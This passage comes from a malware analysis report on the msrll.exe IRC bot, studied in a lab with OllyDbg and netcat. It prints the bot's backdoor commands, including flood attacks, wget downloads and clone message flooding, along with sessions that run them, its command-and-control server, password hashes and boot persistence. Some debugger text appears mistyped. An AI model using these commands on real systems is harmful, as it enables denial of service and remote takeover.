<td>Did not try. Probably suspends a user from sending visible messages.</td>
</tr>
<tr>
<td>?insmod</td>
<td>Did not appear to work (On Linux, loads a module).</td>
</tr>
<tr>
<td>?join</td>
<td>Used to join an IRC channel.</td>
</tr>
<tr>
<td>?jolt</td>
<td>Performs a large fragmented packet flood attack to a specified IP address.</td>
</tr>
<tr>
<td>?jump</td>
<td>Did not appear to work. Do not know function or purpose.</td>
</tr>
<tr>
<td>?kb</td>
<td>Did not appear to work. Uses NICK and channel. Do not know function or purpose.</td>
</tr>
<tr>
<td>?kill</td>
<td>Used to terminate a process.</td>
</tr>
<tr>
<td>Command</td>
<td>Description</td>
</tr>
<tr>
<td>----------</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td><code>?killall</code></td>
<td>Used to terminate multiple processes.</td>
</tr>
<tr>
<td><code>?killsk</code></td>
<td>Used to kill an IRC server connection.</td>
</tr>
<tr>
<td><code>?login</code></td>
<td>Did not appear to work. Probably used to authenticate to “bots” on IRC.</td>
</tr>
<tr>
<td><code>?ls</code></td>
<td>Lists a local directory.</td>
</tr>
<tr>
<td><code>?lsmod</code></td>
<td>Did not appear to work (On Linux, shows loaded modules).</td>
</tr>
<tr>
<td><code>?md5p</code></td>
<td>Created an MD5 hash of a string (e.g. password).</td>
</tr>
<tr>
<td><code>?mkdir</code></td>
<td>Makes local directories.</td>
</tr>
<tr>
<td><code>?move</code></td>
<td>Moves a file locally.</td>
</tr>
<tr>
<td><code>?msg</code></td>
<td>Used to send an IRC message.</td>
</tr>
<tr>
<td><code>?nick</code></td>
<td>Change nick on IRC channel.</td>
</tr>
<tr>
<td><code>?op</code></td>
<td>Did not try. Probably an IRC operator function.</td>
</tr>
<tr>
<td><code>?part</code></td>
<td>Used to leave an IRC channel.</td>
</tr>
<tr>
<td><code>?ping</code></td>
<td>Performs a ping flood attack to a specified IP address.</td>
</tr>
<tr>
<td><code>?play</code></td>
<td>Plays a text file.</td>
</tr>
<tr>
<td><code>?pwd</code></td>
<td>Displays current working directory.</td>
</tr>
<tr>
<td><code>?raw</code></td>
<td>Used to send raw dcc commands.</td>
</tr>
<tr>
<td><code>?reboot</code></td>
<td>Reboots a computer.</td>
</tr>
<tr>
<td><code>?rmdir</code></td>
<td>Removes directories.</td>
</tr>
<tr>
<td><code>?rmmod</code></td>
<td>Did not appear to work (On Linux, removes loaded modules).</td>
</tr>
<tr>
<td><code>?run</code></td>
<td>Runs a program.</td>
</tr>
<tr>
<td><code>?set</code></td>
<td>Sets environment variables.</td>
</tr>
<tr>
<td><code>?si</code></td>
<td>Shows system architecture information.</td>
</tr>
<tr>
<td><code>?sklist</code></td>
<td>Displays IRC server information.</td>
</tr>
<tr>
<td><code>?smurf</code></td>
<td>Performs a smurf flood attack to a specified IP address.</td>
</tr>
<tr>
<td><code>?ssl</code></td>
<td>Appears to display a status. It showed “-1”.</td>
</tr>
<tr>
<td><code>?status</code></td>
<td>Shows service, user name, network connection and reboot availability.</td>
</tr>
<tr>
<td><code>?sums</code></td>
<td>Displays MD5 hashes of files.</td>
</tr>
<tr>
<td><code>?uattr</code></td>
<td>Did not appear to work. Do not know function or purpose. Maybe IRC user attributes.</td>
</tr>
<tr>
<td><code>?unset</code></td>
<td>Removes set variables.</td>
</tr>
<tr>
<td><code>?update</code></td>
<td>Attempts to update a web site using url and id.</td>
</tr>
<tr>
<td><code>?uptime</code></td>
<td>Shows how long a system has been running.</td>
</tr>
<tr>
<td><code>?wget</code></td>
<td>Gets files using HTTP, HTTPS and FTP.</td>
</tr>
</tbody>
</table>

Table of commands identified with OllyDebug

Of the commands tried, the `?login` command in particular, was used in numerous ways to try to authenticate to the msrll.exe infected systems via the #mils IRC channel.

Breakpoints were set on all the `strcmp`, `strncmp` and `_stricmp` functions in an effort to find the authentication process of `?login`. Different parameters and numbers of parameters were tried with the `?login` command. Some breakpoints did show that msrll.exe was evaluating input from the IRC channel for issued commands. In the OllyDebug output shown below, the string input on the IRC channel, “?login” was being compared to all the command strings, one by one, in this instance, “?clone.”

```
0040325F  |. FF30 | PUSH DWORD PTR DS:[EAX] ; Arg2 = 003F5C00 ASCII "?login"
00403261 | FF33 | PUSH DWORD PTR DS:[EBX] ; Arg1 = 003F3C20 ASCII "?clone"
```

Screenshot of OllyDebug output showing IRC user input compared with valid commands
The `?login` command was used with, and without, being authenticated on the 2200 port. Different settings were set up on the #mils IRC channel, such as requiring a password to join, different channel ops, different nicks such as “run5”, etc. However, nothing revealed how the `?login` process worked.

The only other approach was to follow the code step-by-step, which would take considerable time. Currently, enough of the functionality and purpose of msrll.exe was understood to determine the security risks and mitigation. Therefore, it was concluded that there was no critical need to determine how communication was accomplished via IRC. Further attempts at trying to authenticate and communicate via IRC were abandoned. In relation to the security risks of msrll.exe, the assumption was made that it would be possible to communicate with infected systems via IRC, and risks were determined accordingly.

The following output is from a session with the msrll.exe program where many commands supported by msrll.exe were tried while authenticated on TCP port 2200. Some worked while others did not appear to work. These probably required a specific usage or environment in order to work. In exploring these commands, the most interesting was the “`?set`” command. The output of the “`?set`” command can be seen at the top of “Screen shot 3 of 3” of the IRC session shown below. It showed the key configuration data for msrll.exe.
Beginning of IRC session  (Screenshot 1 of 3):

```plaintext
#:pass BadPassword
XYZ
?status
service:N user:Administrator inet connection:Y contype: Lan  reboot privs:Y
?
(pass BadPassword) ?
?ping <ip> <total secs> <p size> <delay> [port]
finished 192.168.239.131
?smurf <ip> <p size> <duration> <delay>
smurf done
?
?jolt
?
?jolt <ip> <duration> <delay>
(pass BadPassword) ?dir
C:\WINNT\system32\mfm
08/20/2004 18:06 <DIR>     .
08/20/2004 18:06 <DIR>     ..
08/23/2004 20:26       1084 jtram.conf
08/23/2004 20:17 1175552 msrll.exe

?uptime
sys: 30m 56s bo: 19m 16s
?date
?time
?hostname
host: malware ip: 192.168.239.130
mkdir evil created
?dir c:\evil
08/23/2004 20:47 <DIR>     evil
?rmdir c:\evil
?rmdir c:\evil :ok

si
WIN2k (u:Administrator) mem:{123/191} 35% GenuineIntel Intel(R) Pentium(R) III M obile CPU 866MHz
?exec notepad
?run notepad
?run: ran ok (4154440)
?ps
0     [System Process]     8     System
664   OLLYDBG.EXE
1024   msrll.exe
512   notepad.exe
908   notepad.exe
?kill 908
pid 908 killed
notepad exited with code 0
```

Screenshot 1 of 3 netcat sessions with infected VMware Windows 2000 system on port 2200
(Screenshot 2 of 3):

```
?join #mils
  Set an irc sock to preform ?join command on
  Type .sklist to view current sockets, then .dccsk <#>
 .sklist
 #1 [fd:424] 192.168.239.131:0 [DCC ICON RNL ] last:0
 |-> (pass BadPassword) (00000021)
 (pass BadPassword) .sklidt
 #1 [fd:424] 192.168.239.131:0 [DCC ICON RNL ] last:0
 |-> (pass BadPassword) (00000021)
 #3 [fd:548] collective7.zxy0.com:6667 [IRC IATH IREG ICON RNL ] last:96
 |\-> [n:UXNpmAEQl fh:UXNpmAEQl!xUUdAc@192.168.239.130] (EFnet)
 |
 |---[#mils] (1) +tn
 |
 | (pass BadPassword) .dccsk 3
 Set an irc sock to preform /join command on
  Type .sklist to view current sockets, then .dccsk <#>
 using sock #3 collective7.zxy0.com:6667 (UXNpmAEQl)
 (pass BadPassword) /who #mils
 (pass BadPassword) /list
 (pass BadPassword) ?who #mils
 (pass BadPassword) hello irc users
 (pass BadPassword) hello there
 ?msg UXNpmAEQl hello
 said hello to UXNpmAEQl
 /msg feihu hiya
 said hiya! to feihu
 /who #mils
 (pass BadPassword) /who #mils
 /list
 (pass BadPassword) /list
 ?list
 (pass BadPassword) ?list
 /msg feihu "I can't read what you are saying..."
 said I can't read what you are saying... to feihu
 /msg feihu "There seems to be a little problem here with IRC"
 said There seems to be a little problem here with IRC to feihu
 /mode
 (pass BadPassword) /mode
 ?mode
 (pass BadPassword) ?mode
 ?free
 usage: ?free <cmd>
 ?cd \n
?sums
 arcldr.exe    ae30898396b11ea379c7bd15316bd3c6
 arcsetup.exe  51b411093a5620483cae886c8d2371
 boot.ini      bec50a347a5fb2ff498be5002637180f
 NTDETECT.COM  21d9176d8da084b06f2a0159aeeb83
 ntldr         2ecc5cd4197c012f9d0f6ff7f78ed34
 ?play boot.ini
 [boot loader]
 timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINNT
 [operating systems]
 multi(0)disk(0)rdisk(0)partition(1)\WINNT="Microsoft Windows 2000 Professional" /fastdetect
 ?/nick hacker
```

Screenshot 2 of 3 netcat sessions with infected VMware Windows 2000 system on port 2200

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Passwords for msrll.exe:
The set command gave insight about the structure of some of the encrypted strings in msrll.exe. Two passwords were incorporated into the msrll.exe code. One password: "$1$KZLPLKDF$55isA1ITvamR7bjAdBziX." with variable name "dcc.password" was used for authenticating on the backdoor port 2200. The other password:
"$1$KZLPLKDF$W8kl8Jr1X8DOHZsmlp9qq0 " called “password” was believed to be used for authentication via IRC. This could not be validated. Both of these strings were made up of a “salt” value and an MD5 hash. In this string example, $1$ABC123$VvP9I7.6VtKkoWUcgOAnT., ABC123 is the salt value used to encrypt the password “hacker” into the digest: “VvP9I7.6VtKkoWUcgOAnT.”.

Further study showed that the password was stored in the jtram.conf file. Once it was changed using the set command, msrll.exe could be restarted and would have the changed password. Below is the section where two different passwords were being set from information stored in jtram.conf.

```
0022FDFC 0040E7CD /CALL to _stricmp from msrll.0040E7C8
0022FE00 003F3AF0 |s1 = "pass"
0022FE04 003F46B0 \s2 = "pass"
0022FE08 003F0000
0022FE0C 00000000
0022FE10 003F4708 ASCII "$1$ABC123$VvP9I7.6VtKkoWUcgOAnT."
```

Screenshot OllyDebug window showing access password on VMware Windows 2000 system

```
0022FDFC 0040E7CD /CALL to _stricmp from msrll.0040E7C8
0022FE00 003F3B88 |s1 = "dcc.pass"
0022FE04 003F48F8 \s2 = "dcc.pass"
0022FE08 003F0000
0022FE0C 00000000
0022FE10 003F4950 ASCII "$1$KZLPLKDF$55isA1ITvamR7bjAdBziX." 
```

Screenshot OllyDebug window showing dcc.pass on VMware Windows 2000 system

Though the passwords can be changed and written to jtram.conf, setting a breakpoint at 7802745A showed that the encryption string did not match the string created by msrll.exe for authentication on port 2200. Even if the same salt value was used, the two password strings did not match.

**IRC Clones:**

One interesting command was the “?clone” command which took an IP address and number of desired copies of the user as input. This allowed the analyst to have many copies of their IRC session connected to the IRC server. In the screenshot example below:

#1 was the IRC server on collective7.zxy0.com.  
#2 was the session connected to the “bot” port 2200 started from the VMware Linux system.  
#3 & #4 were “cloned” users or “IRC clients” running on the “infected” VMware Windows 2000 system. Clones duplicated traffic, and could be used for Denial of Service (DoS).  
#5 was the session connected to the “bot” port 2200 started from the Host system.

Messages could be sent to all “clones” using the command: “?clones all msg msgtext.” The clones also accepted die, join, part and raw IRC commands in the same way.
C:\Documents and Settings\tester>nc 192.168.239.132 2200
# : pass IdontKnow
?status
service:N user:Administrator inet connection:Y contype: Lan reboot privs:Y
.skl
#1 [fd:488] collective? .zxy0 .com:6667 [IRC IATH IREG ICON RNL ] last:259
|\ -> [n:FlbhgpTTL fh:FlbhgpTTL!SBkeTvB@192.168.239.132] (EFnet)
|---[#mils] (3) +tn
| |-[FlbhgpTTL] [192.168.239.132]
| |=[tim] [192.168.239.1]
| |=[@root] [127.0.0.1]
| #2 [fd:456] 192.168.239.131:0 [DCC ICON RNL ] last:146
| -> (pass BadPassword) (00000021)
|\ -> [n:pudzFFYWw fh:pudzFFYWw!~rzUeBUC@192.168.239.132] (EFnet)
|\ -> [n:CUxnEXOT fh:CUxnEXOT!~kQMQZOL@192.168.239.132] (EFnet)
| #5 [fd:508] 192.168.239.1:0 [DCC ICON RNL ] last:0
| -> (pass IdontKnow) (00000021)
?status
service:N user:Administrator inet connection:Y contype: Lan reboot privs:Y
?clones all
?clones: <die|join|part|raw/msg>
clones all msg Hi
(pass IdontKnow) clones all msg Hi
(pass BadPassword) whats up
not much - what about you?
(pass IdontKnow) not much - what about you?

Screenshot netcat session with the infected VMware Windows 2000 system

Five listening TCP ports in addition to 2200 were now running for the cloned IRC clients:

<table>
<thead>
<tr>
<th>Proto</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>TCP</td>
<td>malware:epmap</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:microsoft-ds</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1025</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1027</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1044</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1045</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1046</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:2200</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:netbios-ssn</td>
<td>malware:0</td>
<td>LISTENING</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1044</td>
<td>collective? .zxy0 .com:6667</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1045</td>
<td>collective? .zxy0 .com:6667</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:1046</td>
<td>collective? .zxy0 .com:6667</td>
<td>ESTABLISHED</td>
</tr>
<tr>
<td>TCP</td>
<td>malware:2200</td>
<td>collective? .zxy0 .com:32787</td>
<td>ESTABLISHED</td>
</tr>
</tbody>
</table>

Screenshot netstat –a output on infected VMware Windows 2000 system

“Hackers” often wage wars on IRC channels and servers to gain control or to protect their turf. In this effort, they will often use IRC “bot” programs. A large number of “bot” programs at the fingertips of a “hacker” could be used for a variety of purposes. So far, msrll.exe appeared to fall in the category of being an IRC “bot.” Standard network based DoS attacks such as ping floods, syn floods, smurf attacks, etc. were incorporated into msrll.exe. These attacks are launched with the ?ping, ?smurf, ?udp, ?jolt and ?syn commands. In addition to these kinds of attack tools, IRC channels could be flooded by having a lot of clones send data.

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Setting up clones can be seen below:

```
?clone collective?.zxy0.com 20
?.skilist
(Gregory) ?.skilist
.skilist
#1 [fd:420] collective?.zxy0.com:6667 [IRC IATH IREG ICON RNL] last:156
|\-> [n:Gregory fh:Gregory!~kXWdIxVER@192.168.239.132] (EFnet)
|`
| |--[#mils] (2) +tn
| | |--[Gregory] [192.168.239.132]
| | |--[root] [127.0.0.1]
#2 [fd:476] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#3 [fd:448] 192.168.239.1:0 [DCC ICON RNL] last:0
|\-> (Gregory) (00000001)
|\-> [n:GDLyGEURA fh:GDLyGEURA!QssqsRkAOu@192.168.239.132] (EFnet)
#5 [fd:484] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#6 [fd:500] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#7 [fd:516] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#8 [fd:522] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#9 [fd:548] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#10 [fd:564] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#11 [fd:580] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#12 [fd:596] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#13 [fd:612] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#14 [fd:628] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#15 [fd:644] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#16 [fd:660] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#17 [fd:676] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#18 [fd:692] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#19 [fd:708] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#20 [fd:724] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#21 [fd:740] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#22 [fd:756] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
#23 [fd:772] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:11
?
```

## Clones join #mils

?clones all join #mils

## Clones part #mils

?clones all part #mils

## Clones die

```
>skilist
#1 [fd:772] collective?.zxy0.com:6667 [IRC IATH IREG ICON RNL] last:0
|\-> [n:jklIsVMcLQ fh:jklIsVMcLQ!VrgkQyU@192.168.239.132] (EFnet)
|`
| |--[#mils] (2) +tn
| | |--[jklIsVMcLQ] [192.168.239.132]
| | |--[root] []
#3 [fd:448] 192.168.239.1:0 [DCC ICON RNL] last:0
|\-> (Gregory) (00000001)
?clone collective?.zxy0.com 100
```

## Clones all die

```
>skilist
#1 [fd:772] collective?.zxy0.com:6667 [IRC IATH IREG ICON RNL] last:148
|\-> [n:jklIsVMcLQ fh:jklIsVMcLQ!VrgkQyU@192.168.239.132] (EFnet)
|`
| |--[#mils] (2) +tn
| | |--[jklIsVMcLQ] [192.168.239.132]
| | |--[root] [127.0.0.1]
#2 [fd:756] collective?.zxy0.com:6667 [IRC IREG ICON RNL] last:2

... Cut Short for Brevity ...
```

## Clones all msg root

```
?clones all msg root "This is going to blast the heck out of you..."
```

```
Screenshot from netcat session on port 2200 showing clone message flooding attack
```

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In the following example, the “bad guy,” using the infected machine, logged on to msrll.exe on port 2200, then used the numerous clones to send a lot of messages to a user called root on the #mils channel. After blasting the messages, the “bad guy” asked if: “all was well.”

```
?clones all msg root "This is going to blast the heck out of you..."
?msg root "Is all well"
said Is all well to root
```

From root’s IRC terminal, a hundred messages of “This is going to blast the heck out of you…” appeared. After the last one, a message was asked: “Is all well?” Root responded: “sure why not?” Note, no response was seen, above, on the infected machine. This “bot” seemed to only offer one-way communication with channels such as #mils. The screenshot below is the “root” IRC nick response saying: “sure why not.”

```
*SlkTVisFf * This is going to blast the heck out of you...
*SlkTVisFf * Is all well?
-> * S1kTVisFf * sure, why not?
```

Using an IRC client to connect to port 2200:

To connect to the “bot” port 2200, mIRC or any IRC client could be used. In fact, the communication protocol on the 2200 port was specifically designed for communicating with the IRC “/server” command which supplied a password and a nick name. The format was: “/server Infected-IP-Address 2200 AnyPassword AnyText.” For this particular lab environment: “/server 192.168.239.132 2200 mIRC XYZ” was used to connect.

Once connected, users can chat via dcc chat. There was no necessity to connect to the collective7.zxy0.com IRC channel #mils. The following box shows a chat between a mIRC client and a netcat session both connected to port 2200:

```
/privmsg mirc How are you doing?
(pass greg) /privmsg mirc How are you doing?
(PASS mIRC) PRIVMSG greg :I'm fine, you?
```

Commands to the msrll.exe malware can be sent by using /raw:

```
/raw ?si
-> Server: ?si
WIN2k (u:Administrator) mem:(123/191) 35% GenuineIntel Intel(R) Pentium(R) III M obile CPU 866MHz
```

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Once logged on to a system, files could be retrieved from anywhere on the Internet using wget. The wget command supported both HTTP and HTTPS as shown in the testing below:

From the “infected” system, a wget request was made to the HOST Windows 2000 system listening on port 80 with netcat:

```
?wget http://192.168.239.1/test.txt
```

Screenshot of wget in use

On the HOST Windows 2000 system, the netcat output showed the wget request:

```
C:\Documents and Settings\Leibolt>nc -l -p 80
GET /test.txt HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0
Host: 192.168.239.1
Cache-Control: no-cache
```

Screenshot of wget communication with server

The next test showed that wget attempted to set up an SSL session on port 443. The wget command was used with https specified in the URL:

```
?wget https://192.168.239.1/test.txt
```

Screenshot of wget in use

On the HOST Windows 2000 system, netcat listening on port 443 showed the wget request with SSL attempting to negotiate certificate exchange:

```
C:\Documents and Settings\Leibolt>nc -l -p 443
```

Screenshot of wget attempting communication with ssl server

Using both wget and the dcc send/get commands permitted any kind of file(s) to be placed on the “infected” system. Hacker tools such as rootkits, exploits, DoS tools and Man in the Middle attacks tools, could be placed on the system to be used in an infinite number of ways. The system could be set up to be used as a Warez server or an smtp redirector for spamming, or to just remain as an IRC “bot.” In any case, once infected with msrll.exe, the system was under complete control by the “bot Master.”
Jtram.conf Configuration File

Reviewing the jtram.conf file that was created by msrll.exe showed that it was comprised of encrypted strings.

An example C:\WINNT\system32\mfm\jtram.conf file is shown below:

```
WgERAK26eAp/ziYQVcz871cRt8qF53Wr1VMaMnr6C7KNAaQA==
+yf68AB1qgBBkxkSydVC8c8gCwex0M0hdbEFLkYUEXjJ1WYJy9qg==
/QAPaBpGhxMrqU0e+P1hwx4DChLhMmHn3skZ0Iw90wFtm11aA==
2PRAOHEunhbnWzkidf85WZzZOp699P4zX3kJYjTACi315q7xg==
5P8A99x65650Se76TxBGlZmT9x6VwLa05gTj9QzWNTmsJnbw==
gv40A6Q5R7814p8UvhC+1d9qTctfutCKFkOG3v1UYd+gA==
N98RAB1gU8Zxf2ZbyG1lZydwgSYHBBs7caJUIY88x5mfqLDSg==
pQaRAB/pcoW5QV5fcdv4TNk3R2bVX0L60f4LScMnRmWzI1gA==
5v9KAGknaA6JNTyY99Gh962wAc15vrszBfN1+wMk3KmysMVH1nBDtLrmrga8BAAJATriCdgKU93ADq2FSd1DFo29m
JPeAq61Q1UBJyA4SSwh76pDvYHXUEmLQ==
-fgIRACY0hG0LM31LSMMD6YCuwTFEXI1zZk/uPnxODFaRMLwNw==
hqERAClP0vqRO8T10dc70FwTa6zm9NmSca8bCuy59jmqzwbw==
zAERA8cFnaK4PhonNCoxxM7knXvbA77ZGaPSk5/LBwQxsRwFg==
KQERABWMsU50McNxfBvYtLML3fKzF6mQayj31aKe+rqfhJw==
Wf4RA0wO4T3yq0LCyGxL1LybY7TeIw6bOaITVhshhscuuy==
iv8AAM635Du5suih+Z1ieQ27UvUv7bcuAa6IlotP93759R57+1J+pQ1KZtWri8x8kc5Q==
KF4RA0B1K+5C2EqyMm0/k+kYks5171mTaJ28yrQE9L4aPm/TiA==
nQaRABEO7za1C1707w0DFFrKrKwG6553LRveEwJxgl1Wq0LQh6/g==
sv4jALtaE2in+tqggOi76BNTAYuexZX64/p57IdMoT7jqAuUuahf2Z10Y8V7/Szp86OlNKzfwxx==
```

Table displaying data in the jtram.conf file

By placing a break on memory address 00411780, and opening up the stack widow, the analyst could see the cleartext and associated ciphertext created for use in jtram.conf.

The following screen shot shows this setup:

```
CPU - main thread, module msrll

00411780 0000FF25 B0B65100 JMP DWORD PTR DS:[ADUAPI32.CryptAcquireContextA]
00411786 90 NOD
00411787 90 NOD
00411788 00 00

Call stack of main thread

Address Stack Procedure / arguments
00 00299974 00411480 (JMP. ADUAPI[32.CryptAcquireContextA)
00 0029999C 00411517 msrll.0041145B
00 002999B0 0023C4E Arg1 = 0023C4E
00 002999C4 00000001 Arg2 = 00000001
00 002999E8 00000000 Arg3 = 00000000
00 002999FC 0040FB5 ? msrll.0040FB5
00 0022E4C 00490D6B msrll.004082B0
00 0022EE58 0089538 ? msrll.0040FB5
00 0022EE64 0022E88 Arg2 = 0022E88 ASCI "bot.port"
00 0022EE9C 004E0524 msrll.00440524

Screenshot from OllyDebug showing breakpoint on 00411780 and both cleartext and ciphertext destined for jtram.conf file
```
Below are the cleartext / ciphertext pairs of the jtram.conf file as gleaned from OllyDebug:

<table>
<thead>
<tr>
<th>Ciphertext</th>
<th>Cleartext</th>
</tr>
</thead>
<tbody>
<tr>
<td>WgERAK26eAp/zLYQYvcrEFT/0bRqgF5Zr1VMnRn6C/kNA2oA==</td>
<td>bot.port</td>
</tr>
<tr>
<td>yFLRABA1gBBUk84YdVCqyGcexWbhdSPYyRQEX3jLWYyV1yqg==</td>
<td>2200</td>
</tr>
<tr>
<td>/QARAQgNhmqQ0e+Plhw4lDcLHqHmPn3s2k01yQ0woTmlaA==</td>
<td>Set</td>
</tr>
<tr>
<td>2P4RA0En1hbnZkwd1ft8S5WZOp699Sp4zX8kDAtYAc1335p/qg==</td>
<td>irc.quit</td>
</tr>
<tr>
<td>5PBRAJ3dx665g905e76TxBGj2Wx6VWLaO5T7j9QzwNTmJnbww==</td>
<td>Note: No cleartext displayed</td>
</tr>
<tr>
<td>gV4RAASJ8g7Glyp8uVen+I94qZ9Y4cufctYmFkX0tOGyvC1UYyqA==</td>
<td>Set</td>
</tr>
<tr>
<td>NV8RA1BYyu82ZBvQlZgYwgyOyHBBDyota/uyY8x5mqfLDSg==</td>
<td>Servers</td>
</tr>
<tr>
<td>pQARAO/pcow5QVC5ScFcvd4TN3K2bVvX0L60F4LSc0fMwZ1EA==</td>
<td>collective7.zxy0.com, collective7.zxy0.com:9999, collective7.zxy0.com:8080</td>
</tr>
</tbody>
</table>

Table showing ciphertext/ cleartext pairs in the jtram.conf file

Boot-up Activation:

The msrll.exe malware could only run successfully if an admin level user ID executed it. With full admin access, it wrote entries into the registry to ensure that the program would run again on re-boot. The Regshot showed that msrll.exe created 4 keys:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\Security
HKEY_CURRENT_USER\CurrentControlSet\Services\mfm\Security
HKEY_CURRENT_USER\CurrentControlSet\Services\mfm\Security

A Service called "Rll enhanced drive" which runs msrll.exe was set up:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfm\DisplayNome: "Rll enhanced drive"
"C:\WINNT\system32\msrll.exe"

The Regmon tool showed that Microsoft Services set the "Rll enhanced drive" service:

<table>
<thead>
<tr>
<th>Process ID</th>
<th>Service Name</th>
<th>Display Name</th>
<th>Image Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>30527</td>
<td>SERVICES.EXE</td>
<td>384.17245376</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>30528</td>
<td>SERVICES.EXE</td>
<td>384.17250824</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

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Debugger code showed the service setup code:

```
0040CA2A | 6A 02       PUSH 2                        ; StartType = SERVICE_AUTO_START
0040CA2C | 68 20010000 PUSH 120                      ; ServiceType = SERVICE_WIN32_SHARE_PROCESS
0040CA31 | 68 FF010F00 PUSH 0F01FF                    ; DesiredAccess = SERVICE_ALL_ACCESS
0040CA36 | 68 97C84000 PUSH msrll.0040C897           ; DisplayName = "Rll enhanced drive"
0040CA3B | 68 4EBD4000 PUSH msrll.0040BD4E           ; ServiceName = "mfm"
0040CA40 | 53          PUSH EBX                      ; hManager
0040CA41 | E8 EA4C0000 CALL <JMP.&ADVAPI32.CreateServiceA> ; CreateServiceA
```

As a service, msrll.exe was set to run at boot time. The Microsoft services utility clearly showed the “Rll enhanced drive” (msrll.exe) set to run at boot:

![Screenshot from Windows Services Manager](http://www.newircusers.com/nfaq.html)

### Analysis Wrap-Up

Analysis has shown that the msrll.exe malware would primarily fall under the category of being an IRC “bot.” The [http://www.newircusers.com/nfaq.html](http://www.newircusers.com/nfaq.html) web site provided a good description of a “bot:”

17. **What is a BOT?**

Bot is short for Robot. A bot is a program written by a user that acts like and may appear to be an actual user, depending on the skill of the programmer. Bots are not looked on favorably by most Networks. They are even banned by many servers. Bot programs have been given a bad rap due to misuse and abuse by hackers. Malicious Bots can be programmed to flood channels with useless garbage (FloodBots), make copies of themselves for use in channel takeover attempts (CloneBots), cause nick collides which result in a user being “killed” and dropped from IRC (KillBots), or any other number of destructive functions. Bots can, however, be very useful if properly programmed. They can be user [sic] to hold a channel open when the owner is not physically there on the channel, they can be set up as a file server to offer files to people, they can be used [sic] as help and information servers, or they can be used to run games on a channel. Bots can range from the very simple to the very complex. The most powerful Bots are run on ircrl client programs, which is a UNIX based system. Bots are not for everyone, and I would advise you not even consider using one.

![Screenshot from http://www.newircusers.com/nfaq.html](http://www.newircusers.com/nfaq.html)
Purpose of msrl.exe:

This IRC “bot” was designed to primarily serve three purposes:

1. It could be used to help protect an IRC channel, but it was more likely to be used as an “attack” tool against other IRC channels and servers.

2. It could also be used to perform distributed denial of service attacks using ping floods, syn floods, udp floods, etc. on any unprotected target. In addition to the tools incorporated into msrl.exe, which include mIRC v6.12 for IRC support, and some denial of service tools, other tools could be uploaded for execution.

3. Finally, the back door set up by msrl.exe allowed complete control on the “infected system.” This permitted access to all the files on the system, but also potential access to other networks and related computers. Msrl.exe was designed to use both LAN and modem connections.

Msrl.exe activation:

1. Installed a copy of itself
   A folder called “mfm” was created in the Windows system directory “%System%\mfm” e.g. “C:\WINNT\System32\mfm on Windows 2000,” where it placed a copy of itself. Once the copy was created, the original “artifact” was deleted and the “copy” took over control.

2. Ensured operation at boot-up
   On Windows 2000 systems, msrl.exe added itself as a service using the name “Rll enhanced drive” to ensure startup at boot time.

3. Wrote a configuration file
   The msrl.exe IRC “bot” used a configuration file called jtram.conf. This file contained settings such as the name of the IRC channel to join, the back door port number, the authentication passwords, etc.. Everything in this file was stored encrypted with the Rijndael (AES) algorithm. Once written, any of these settings could be changed once authenticated.

4. Joined an IRC channel
   First, it tried to join an IRC channel called “#mils” on an IRC server called collective7.zxy0.com. It tried to connect first on the standard IRC port 6777 and if that failed, it tried 9999 and 8080. The nick used by the “bot” was a random mixture of letters and changed every time it joined the channel. The “bot Master,” or person using the “bot,” can clearly see all the “bots” that have joined that #mils channel. These “bots” would then be available to perform various tasks at the command of the “bot Master.”

5. Opened a back door port
   Another key task performed upon activation was the creation of a back door service which ran on port 2200. This service provided complete control of the infected system and could also be used to connect to the #mils IRC channel or other IRC channels. A suite of built-in IRC, DCC and system commands were available upon authenticating to the service with a password.
Mitigation and removal:

